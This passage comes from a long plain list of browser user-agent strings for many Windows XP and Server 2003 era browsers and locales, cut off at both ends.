Gecko/2008020514 Firefox/3.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040911 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9.1b3pre) Gecko/20081202 SeaMonkey/2.0a2\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9b3pre) Gecko/2008010602 SeaMonkey/2.0a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sr; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; sr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32)\nMozilla/5.0 (Windows; U; Windows NT 5.1; th) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/1.5 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8b5) Gecko/20051006 Firefox/1.4.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.3 (Change: 287 c9dfb30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20051001 Firefox/1.0.7 Madfox/0.3.2u3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/20080722 Firefox/3.0.1 Kapiko/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.7pre) Gecko/2009012106 GranParadiso/3.0.7pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.31) Gecko/20120408 Firefox/3.6.31 (Palemoon/3.6.31)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100608 Thunderbird/3.1 ThunderBrowse/3.3.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.7) Gecko/20100713 Lightning/1.0b2 Thunderbird/3.1.1 ThunderBrowse/3.3.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100802 Lightning/1.0b2 Thunderbird/3.1.2 ThunderBrowse/3.3.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9a4pre) Gecko/20070427 Minefield/3.0a4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b2pre) Gecko/2007112619 Minefield/3.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3pre) Gecko/2007121805 Minefield/3.0b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-HK; rv:1.8.1.7) Gecko Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.5) Gecko/20041119 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.9) Gecko/2009040821\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1b4pre) Gecko/20090308 Shiretoko/3.1b4pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.15pre) Gecko/20110127 Namoroka/3.6.15pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4\nMozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9.0.7) Gecko/2009030713 Minefield/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1\nMozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20061007 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.2 x64; en; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.2;  rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; cs; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-AT; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-AT; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.1.15) Gecko/20101027 SeaMonkey/2.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100605 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100617 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100622 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100623 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100625 